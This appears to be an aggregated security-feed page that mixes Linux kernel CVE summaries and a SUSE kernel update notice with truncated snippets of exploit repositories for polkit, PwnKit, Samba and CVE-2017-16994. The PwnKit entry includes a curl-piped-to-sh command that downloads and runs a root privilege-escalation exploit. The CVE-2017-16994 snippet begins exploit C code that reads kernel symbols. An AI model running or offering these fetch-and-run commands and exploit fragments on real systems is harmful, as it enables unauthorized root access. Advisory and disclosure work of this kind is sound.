CVE-2026-93287

A flaw was found in the Linux kernel's I2C System Management Bus SMBus subsystem. A local user can trigger an out-of-bounds memory read by submitting a transfer request with an oversized or invalid block length. This occurs because the kernel does not properly validate user-supplied transfer...

CVE-2026-93285

A flaw was found in the Linux kernel's Flash-Friendly File System F2FS. A race condition exists during filesystem remount or shutdown operations where background garbage collection tasks are improperly synchronized with teardown routines. A local user could exploit this timing flaw through...

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP6 kernel was updated to fix various security issues: The following security issues were fixed: CVE-2024-57841,CVE-2026-53260: net: fix memory leak in tcpconnrequest bsc1235944 bsc1269731. CVE-2025-68214: timers: Fix NULL function pointer race in timershutdownsync...

SUSE-SU-2026:4369-1 Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP6 kernel was updated to fix various security issues: The following security issues were fixed: - CVE-2024-57841,CVE-2026-53260: net: fix memory leak in tcpconnrequest bsc1235944 bsc1269731. - CVE-2025-68214: timers: Fix NULL function pointer race in timershutdownsyn...

CVE-2026-98134

A flaw was found in the Linux kernel's Berkeley Packet Filter BPF verifier. During pointer register comparisons, the verifier can incorrectly deduce that a pointer cannot be null when it can actually be null at runtime. A local user with permissions to load BPF programs could exploit this flaw by...

CVE-2026-98136

A flaw was found in the Linux kernel's NTFS file system driver. When reading the attribute definition table, the driver does not properly verify that each entry fits within the allocated memory buffer. A local attacker could exploit this vulnerability by mounting a specially crafted NTFS storage...

CVE-2026-98135

A flaw was found in the Linux kernel's NTFS file system driver. A local user capable of mounting storage volumes could cause a Denial of Service DoS and crash the operating system by mounting a specially crafted NTFS file system image. Due to missing input validation of the cluster configuration ...

CVE-2026-98133

A flaw was found in the Linux kernel's NTFS file system implementation. When an error occurs while setting an extended attribute EA, the kernel prematurely clears the flag indicating that extended attributes are present. A local user can exploit this vulnerability by triggering a failed extended...

CVE-2026-98132

A flaw was found in the Linux kernel's Berkeley Packet Filter BPF verifier. A local attacker with permission to load BPF programs could exploit this flaw to achieve privilege escalation or cause a Denial of Service DoS. This issue arises when the verifier improperly handles scalar values stored o...

CVE-2026-98131

A flaw was found in the Linux kernel's stmmac network driver. During network packet transmission, a failure in Direct Memory Access DMA mapping for packet fragments causes the driver to drop the packet without releasing previously allocated mappings. A local user could exploit this flaw by...

CVE-2021-3560_PoC

CVE-2021-3560PoC polkit 익스플로잇 스크립트 polkit 서비스를 사용하여 루트 권한 상승을 위한 자동화 스크립트 요구 사항 SSH 서버 GNOME을 통한 인증 팝업을 피하기 위함 취약한 Linux 배포판: 배포판 | 취약 여부? ---|--- RHEL 7 | 아니오 RHEL 8 | 예 Fedora 20 또는 이전 | 아니오 Fedora 21 또는 이후 | 예 Debian 10 “buster” | 아니오 Debian testing “bullseye” | 예 Ubuntu 18.04 | 아니오 Ubuntu 20....

BIT-EternalBlue-for-macOS_Linux

BIT-EternalBlue-for-macOS&Linux Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS. This bug is workable on both macOS and Linux. Install Before exploit, you need to download dependencies...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit CVE-2021-4034를 위한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승 사용법 Ubuntu, Debian, Fedora, CentOS 기반의 취약한 Linux 배포판에서 즉시 작동해야 합니다. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 수동 실행 curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x...

CVE-2026-98129

A flaw was found in the Linux kernel's mpi3mr SCSI driver. The driver fails to validate the return value of a memory allocation when adding a Serial Attached SCSI SAS port, leading to a NULL pointer dereference if the allocation fails. A local user could exploit this flaw under low-memory...

CVE-2026-98128

A flaw was found in the Linux kernel's mpi3mr driver. This vulnerability can lead to a Denial of Service DoS due to kernel memory exhaustion. When an error occurs during Serial Attached SCSI SAS port addition, the driver fails to properly release an acquired reference count on the target device...

CVE-2017-16994

/ disablemapminadd.c / / / include include include include include include include / 偏移量可能不同，内核是自定义编译的 测试时你可以读取vmlinux并计算偏移量 / / define OFFSETKERNELBASE 0x000000 / define MMAPMINADDR 0x1101de8 define DACMMAPMINADDR 0xe8e810 / 通过读取/proc/kallsyms获取内核函数地址 / unsigned long getkernelsymchar name FILE f...

CVE-2026-98130

A flaw was found in the Linux kernel's Stream Control Transmission Protocol SCTP subsystem. A race condition exists when starting an SCTP timer, where the timer can expire before it is reset, resulting in improper reference counting for the connection association. An attacker could exploit this...

CVE-2026-93816

A flaw was found in the Linux kernel's Flash-Friendly File System F2FS. When converting inline directory entries into standard directory blocks, the kernel does not properly validate recorded filename lengths before copying them. A local user could exploit this flaw by mounting a specially crafte...

CVE-2026-93815

A flaw was found in the Linux kernel's Au1000 Ethernet driver. This vulnerability allows a privileged local user to cause a Denial of Service DoS when disabling or closing the network interface. The issue occurs because the driver executes a sleepable interrupt cleanup routine while holding an...

CVE-2026-93284

A flaw was found in the Linux kernel's DRM Direct Rendering Manager pagemap subsystem. During page migration error handling, the kernel clears the page tracking array before finishing Direct Memory Access DMA unmapping operations. A local user could exploit this flaw by triggering migration...